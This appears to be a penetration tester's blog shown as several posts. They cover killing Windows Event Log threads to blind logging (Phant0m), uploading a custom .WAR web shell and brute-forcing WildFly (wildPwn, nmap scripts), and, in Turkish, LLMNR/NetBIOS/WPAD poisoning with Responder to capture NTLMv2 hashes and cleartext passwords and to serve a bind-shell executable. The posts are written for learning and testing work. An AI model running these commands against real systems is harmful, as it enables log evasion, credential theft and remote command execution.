When each service is registered on a machine running Windows Vista or later, the Service Control Manager (SCM) assigns a unique numeric tag to the service (in ascending order). Then, at service creation time, the tag is assigned to the TEB of the main service thread. This tag will then be propagated to every thread created by the main service thread. For example, if the Foo service thread creates an RPC worker thread (note: RPC worker threads don’t use the thread pool mechanism more on that later), that thread will have the Service Tag of the Foo service.²

If you want to use this way, you need to use NtQueryInformationThread API to get the thread’s TEB address, after then you need to read the SubProcessTag from the TEB. You can do NtReadVirtualMemory and I_QueryTagInformation APIs.

You can access sample code from here, HOWTO: Use I_QueryTagInformation.

Walking Threads Stack

We can access stack of thread and search for which DLLs are used by the specific thread. Windows Event Log Service uses wevtsvc.dll. Full path is %WinDir%\System32\wevtsvc.dll. If the thread is using that DLL, it is the Windows Event Log Service’s thread. That’s the way Phant0m uses.

Killing Threads

Whichever way you prefer, if you have identified threads of Windows Event Log Service you can go to the killing stage. This section is easier and faster, you need to three API for killing threads. You can do that OpenThread, TerminateThread and CloseHandle APIs.

Phant0m

You can access Phant0m’s code on GitHub and watch the video on YouTube about using Phant0m.

References

Wildfly Exploitation

2017-05-13T16:37:00+03:00

Once upon a time, I was working on a penetration test. All day, I looked for an entry point but there was no any exploitable vulnerability on customer systems. I couldn’t get any system neither low privileges nor high privileges. During the penetration test, I found a default/predictable credentials on WildFly Application Server. I hadn’t heart that application before. I searched on internet it and there wasn’t anything on internet about the Wildfly exploitation. So I decided analyze the application. How can I get system over the Wildfly application?

After a couple of time I figured out;

WildFly, formerly known as JBoss AS, or simply JBoss, is an application server authored by JBoss, now developed by Red Hat. WildFly is written in Java, and implements the Java Platform, Enterprise Edition (Java EE) specification. It runs on multiple platforms. WildFly is free and open-source software, subject to the requirements of the GNU Lesser General Public License (LGPL), version 2.1.¹

As written above description, Wildfly is an application server based on Java. If you get a Java-based application, should not it be so hard to get the system? As you know three billion devices run Java. :P

Exploitation

After accessing that credentials, I saw my customer using an application on Wildfly which has a .WAR extension. I can exploit that system like exploiting Tomcat!? No, unfortunately Wildfly did not worked the .WAR file which I created for Tomcat or Glassfish before. I read Wildfly documentation and I found how to create averagely a .WAR file for Wildfly. So, I create my own customized .WAR shell.

Wildfly wants a directory which is called WEB-INF and I created custom a jboss-web.xml file under the WEB-INF directory. The jboss-web.xml must contain simply following lines;

<?xml version="1.0" encoding="UTF-8"?>
    <jboss-web xmlns="http://www.jboss.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.jboss.com/xml/ns/javaee http://www.jboss.org/j2ee/schema/jboss-web_5_1.xsd">
        <context-root>/wildPwn</context-root>
    </jboss-web>

The <context-root> tag means, your application directory. If you write wildPwn it will be accessible under that directory. By the way, I used modified Laudanum’s cmd.jsp as shell for bypassing endpoint security solution. Finally I uploaded my .WAR file and I was accessed the shell using that URL schema; http://ipOrDomain.com:port/shellDirectory/shell.jsp

After penetration test, I wrote a tool for Wildfly called wildPwn. It can accessable on Github, wildPwn Project.

wildPwn can brute force the Wildfly and upload a shell for running system commands on target. You can access usage video on YouTube, wildPwn usage video.

wildPwn

Nmap Scripts

Also Nmap scripts are ready for detection and brute force processes. You can access that scripts under Nmap Scripts directroy of wildPwn project.

For detection,

nmap --script wildfly-detect <TARGET>

Sample output,

Wildfly Detection

For brute force,

nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>

Sample output,

Wildfly Brute Force

Happy Hunting!

Referanslar

LLMNR, NetBIOS-NS Poisoning

2016-12-04T16:37:00+03:00

Yerel ağda hedefin veya hedeflerin trafiğini ele geçirmek ve müdahale etmek için birden fazla yöntem bulunmaktadır. Bunların arasında ARP Poisoning en bilineni olup, en fazla istismar edilenidir. TCP/IP uzun yıldır var olan bir protokol ve ARP Poisoning, Rogue DHCP Server Attack vs. ise yine yıllardır yerel ağ trafiğine müdahale etmekte kullanılan saldırı yöntemlerinden bazılarıdır.

Gerçekleştirdiğim sızma testlerinde tecrübe ettiğim bir nokta var; yerel ağlarda bu saldırı yöntemleri her zaman işe yaramamaktadır, çünkü ARP Poisoning DHCP Starvation vb. saldırı tekniklerinin önlemleri büyük oranda Switch üzerinde kolaylıkla alınabilmektedir. Günümüzde bilinçlenmelinin artmasıyla “yıllardır” var olan TCP/IP protokolündeki, “yıllardır” istismar edilen/edilebilecek zafiyetler için ağ yöneticileri önlemlerini “almaktadır”.

Bu noktada şöyle bir soru sorarsak sanırım, yazıyı daha da anlamlandırabiliriz ve tam anlamıyla giriş yapabiliriz; yerel ağ saldırıları (ARP Poisoning, DHCP Starvation, Rouge DHCP vs.) için tüm önlemlerin alındığı bir ağ içerisinde hedef veya hedeflerin ağ trafiğine nasıl müdahale ederiz veya hedefe nasıl arka kapı yerleştirebiliriz?

Kurumsal ağlar içerisinde özellikle son kullanıcı tarafında Windows işletim sistemleri en çok kullanılan işletim sistemidir ve aşağıdaki grafikte örnek işletim sistemi kullanım dağılımı verilmiştir.

2010-2016 Arası Küresel İşletim Sistemi Dağılımı¹

LLMNR Nedir?

LLMNR (Link-Local Multicast Name Resolution), IPv4 veya IPv6 üzerinden sistemlerin yerel ağdaki diğer sistemlerin isimlerini çözmek kullandıkları, temelde DNS tabanlı bir protokoldür. DNS’e alternatif olarak geliştirilen bir protokol değildir ve DNS sorgularının olumsuz sonuçladığı durumlarda kullanılmaktadır. Windows Vista sonrası tüm Windows işletimleri sistemleri tarafından desteklemektedir. Aynı zamanda 2014 sonlarına doğru Linux üzerinde de gerekli entegrasyon gerçekleştirilmiştir.²

Herhangi bir yapılandırmaya ihtiyaç duymadan sistemler LLMNR’ı kullanabilmektedir ve temelde DNS sorgularının işe yaramadığı durumlarda devreye girmektedir. LLMNR protokolü IPv4 üzerinde 224.0.0.252, IPv6 üzerinde ise FF02:0:0:0:0:0:1:3 link-scope multicast adresleri kullanır ve TCP/UDP üzerinde 5355 portu üzerinde işlemlerini gerçekleşmektedir.

Örnek olarak olmayan bir alan adına (dzlab.local) ping atmayı deneyelim. Başarısız sonuçlanan DNS sorgularının hemen ardından LLMNR sorguları oluşmaktadır. Aşağıda ilgili ekran görüntüsü verilmiştir.

LLMNR Sorguları

Özet olarak DNS üzerinden isim çözümlemenin mümkün olmadığı durumlarda işletim sistemi LLMNR protokolünü kullanıp ismi çözmeye çalışıyor.

NetBIOS Nedir?

NetBIOS (Network Basic Input/Output System), yerel ağ içerisinde sistemlerin birbirleri arasında iletişim için kullandıkları bir API’dır. Bilinenin aksine bir protokol değil protokol üzerinde çalışan bir API’dır. Üç farklı servisi vardır;

Name Service (NetBIOS-NS), isim kaydı ve isim çözme için kullanılır. UDP 137 portundan işlemler geçekleştirilir. Aynı zamanda TCP 137 portu da bazen kullanılır.
Datagram Distribution Service (NetBIOS-DGM), Connectionless iletişim için kullanılır. UDP 138 portunda işlemler geçekleştirilir.
Session Service (NetBIOS-SSN), Connection-Oriented iletişim için kullanılır. TCP 139 portu üzerinden işlemler geçekleştirilir.

Windows İşletim Sisteminde İşler Nasıl Yürüyor?

Bir Windows işletim sistemi isim çözerken aşağıdaki adımları takip eder;

Sistemindeki hosts dosyasına bakar.
Yerel DNS Önbelleğine bakar.
DNS Sunucusuna sorgu gönderir.
LLMNR sorgusu gönderir.
NetBIOS-NS sorgusu gönderir.

Yukarda, “dzlab.local” için ping atmaya çalışmıştık DNS sunucusu üzerinden kaydı olmayan bu domain için DNS sorgusu oluşmuştu ardından LLMNR isteği ve hemen sonrasında NetBIOS-NS isteği oluşmuştu. Aşağıda NetBIOS-NS isteğinin detaylarını içeren ekran görüntüsü verilmiştir, ilgili paketin DST kısmına bakılırsa bunun broadcast bir paket olduğu ve yerel ağdaki tüm sistemlere gönderildiği anlaşılabilir.

NetBIOS-NS Sorguları

Bu paket broadcast bir paket ise herhangi bir sistem bu pakete cevap verebilir diyebiliriz. Normal şartlar altında cevabı bilen sistem kaynak sisteme cevabı döner. Ancak kimse bilmiyorsa istek öylece yanıtsız kalır. Eğer sorulan alan adı gerçekten varsa doğru cevabı bilen sistemler arasından hangisinin cevabı öncelikle soran sisteme ulaşırsa o işlenir. Kısaca doğru cevaplar için bir “race condition” durumu söz konusudur.

İşte tam bu noktada bu isteklere saldırgan olarak cevap verebilir ve hedef sistem ile ilgili hassas verilere erişebilir, başka bir yere yönlendirebilir hatta hedefe arka kapı bile yerleştirilebilir. Temelde yapılacak olan şey broadcast gelen paketleri dinlemek ve onlara gerektiği şekilde cevap vermektedir.

Bu işlemler için Kali işletim sisteminde kurulu olarak gelen veya GitHub üzerinden erişlebilecek (https://github.com/SpiderLabs/Responder), açık kaynak kodlu Responder isimli araç yazı içerisinde kullanılmıştır.

Hedefin NTLMv2 Hash’ini Ele Geçirme

Araca herhangi bir parametre vermeden direkt olarak ağ arayüzünü tanımlayarak çalıştırdığımızda gelecek olan LLNMR ve NetBIOS-NS isteklerini dinlemeye başlayacaktır.

responder -I eth0

Örnek vererek ilerlersek;

Kullanıcı aslında \fileserver\’a erişmek istiyor ancak yanlış yazıp \filserver\ şeklinde yazarak erişmeye çalışıyor.
Bu durumda kaydı bulunmayan ilgili sistem için sorgular başlıyor. Saldırgan gelen LLMNR isteklerine cevap veriyor ve kendisinin \filserver\ olduğunu cevap olarak dönüyor.

filserver İçin Oluşan Sorgu ve Cevabı

Kullanıcının işletim sistemi bağlantı kurup o an oturumu aktif olan kullanıcı adı ve NTLMv2 hash (parola özetini)’ini saldırgana veriyor.

Bağlantı Paketi

Hedef bağlantı hatası ile karşılaşıyor.

Bağlantı Hatası

Saldırgan hedefin NTLMv2 parola özetini ele geçiyor.

İsteğin Zehirlenmesi ve NTLMv2 Hash’in Elde Edilmesi

Bu noktadan sonra saldırgan hedeften elde ettiği NTLMv2 hashi kırarak diğer saldırı aşamalarına geçilebilir. Çünkü NTLMv2 hash’i Pass The Hash vb. herhangi bir yöntem için kullanılamamaktadır.

Hedeften Açık Hesap Bilgisi Elde Geçirme

WPAD (Web Proxy Auto-Discovery Protocol), yerel ağ içerisinde veya internete erişim için proxy ayarının gerektiği durumlarda, proxy ayarlarının otomatik olarak istemcilere gönderilmesi ve işletilmesi için kullanılan teknolojidir. Proxy adres veya adresleri “wpad.dat” dosyası içerisine eklenir ve istemcilere DHCP veya DNS üzerinden almaları sağlanabilir. Örnek wpad.dat içeriği aşağıda verilmiştir.

function FindProxyForURL(url, host) {
    return "PROXY proxy.example.com:8080; DIRECT";
}

WPAD aşağıdaki gibi çalışmaktadır;

DHCP ayarları yapıldıysa istemci DHCP üzerinden WPAD bilgisini alır. (Başarılı ise 4. adıma geçilir.)
DNS’e “wpad.[corpdomain.com]” sorulur. (Başarılı ise 4. adıma geçilir.)
WPAD için LLMNR sorgusu gönderilir. (Başarılı ise 4. adıma geçilir. Başarısız ise proxy kullanılmaz.)
“wpad.dat” dosyası indirilir ve içerisinde bulunan proxy ayarları sistemde kullanılmaya başlanır.

Normal şartlarda birinci adımdaki istek üzerinden hedefe saldırı gerçekleştirilmek isteniyorsa DHCP Spoofing saldırısı deneneblilir ya da ikinci adımdaki istek üzerinden hedefe saldırı gerçekleştirilmek isteniyorsa DNS Poisoning saldırısı denenebillir. Ancak yukarıda da değinildiği üzere bu tür saldırılarına alınan önlemlere karşı neler yapabilir konusuna değindiğimiz için, amaç hedef üçüncü adıma geldiğinde neler yapılabilirdir.

LLMNR üzerinden WPAD sorgusu gerçekleştiğinde ağ içerisindeki her istemciye bu istek gidecektir. Saldırgan bu noktada gelen WPAD isteğini zehirleyip (Sahte WPAD Sunucusu gibi hareket ederek) hedefe kendi oluşturduğu “wpad.dat” dosyasını vererek saldırıyı gerçekleştirebilir.

İsteğin Zehirlenmesi ve Saldırganın Cevabı

Bu saldırı türünde saldırganın avantajı olan bir durum söz konusu; Windows işletim sisteminin temel tarayıcısı Internet Explorer’ın proxy ayarları varsayılan olarak kurumla beraber “Automatically detect settings” şeklindedir. Aynı zamanda Mozilla Firefox tarayıcısının proxy ayarları varsayılan olarak kurulum ile beraber “Use system proxy settings” şeklinde olup Chrome tarayıcısı da Internet Explorer üzerinden yapılan proxy ayarlarını kullanmaktadır.

Internet Explorer ve Mozilla Firefox Proxy Ayarları

Saldırı için kullanılacak araç olan Responder aşağıdaki parametreler için çalıştırıldığında kendisine gelen WPAD paketlerine cevap dönecektir ve döneceği cevap proxy için yetkilendirmenin (Basic Authentication) gerektiği anlamına gelecektir.

responder -I eth0 -wFb

Kullanıcı tarafında kullanıcı adı ve parola girilmesi için bir ekran çıkacaktır. Bu aşamada kullanıcının gireceği değerleri açık (clear-text) olarak saldırgan ele geçecektir ve genelde saldırıya maruz kalan kullanıcılar Windows kullanıcı hesaplarının bilgilerini girmektedir.

Karşılaşılan Basic Authentication Penceresi

WPAD.DAT Dosyasına Erişim İsteği ve Cevabı

İsteğin Zehirlenmesi ve ClearText Hesap Bilgisinin Elde Edilmesi

Hedefe Arka Kapı Yerleştirme

Yukarıda WPAD isteklerine cevap dönerek hedeften açık (clear-text) olarak hesap bilgisinin nasıl alınabileceğine değinmiştim. Bu durumu bir adım öteye taşıyarak kullanıcının oluşturduğu isteği belirli bir sayfaya yönlendirerek kullanıcıya çalıştırılabilir dosya indirmesini sağlayabiliriz. Bu noktada oluşturulacak sayfanın inandırıcılığı için biraz sosyal mühendislik becerisi gerekmektedir ancak Responder aracının içerisindeki varsayılan sayfa bu işlem için gayet başarılıdır.

Varsayılan Phising Sayfası

Responder aracının /etc/responder/Responder.conf dosyası içerisinde aracın yapılandırma parametreleri bulunmaktadır. Dosya içerisinde Serve-Html ve Serve-EXE parametreleri varsayılan olarak Off değerindedir. Öncelikle bu değerleri On olarak değiştirmemiz gerekmektedir.

[HTTP Server]

; Set to On to always serve the custom EXE
Serve-Always = On

; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On

; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On

Ayarlar tamamlandıktan sonra Responder aracı aşağıdaki parametreler ile çalıştırıldığında gelen WPAD isteklerine cevap dönecektir ve cevapları işleyen istemciler saldırıya maruz kalacaklardır.

responder -I eth0 -wr

Saldırıya maruz kalan kullanıcılar aşağıdaki ekran görüntüsünde olan sayfa ile karşılaşacaklardır.

Karşılaşılan Sayfa ve Payload’ın İndirilmesi

Sayfada linki bulunan ProxyClient.exe dosyası hedef tarafından indirilip çalıştırıldığında TCP 140 portuna cmd.exe’yi bind edilecektir ve hedef üzerinde komut çalıştırılacak duruma geçilecektir.

Hedef kullanıcılar tarayıcılarından nereye gitmek isterlerse karşılarına /usr/share/responder/files/AccessDenied.html dizin yolundaki dosya verilecektir ve ilgili HTML dosyası içerisinde erişim için ProxyClient.exe isimli dosyayı indirip çalıştırmaları istenmektedir. ProxyClient.exe dosyası /usr/share/responder/files/BindShell.exe dizini yolunda bulunmaktadır ve istenirse başka çalıştırılabilir dosyalarda oluşturulup ilgili dizine atıldıktan sonra yapılandırma dosyası güncellenirse Responder aracı hedefe ilgili dosyayı verecektir.

Karşılaşılan Sayfa ve Payload’ın İndirilmesi

Referanslar

http://gs.statcounter.com/
https://lwn.net/Articles/609740/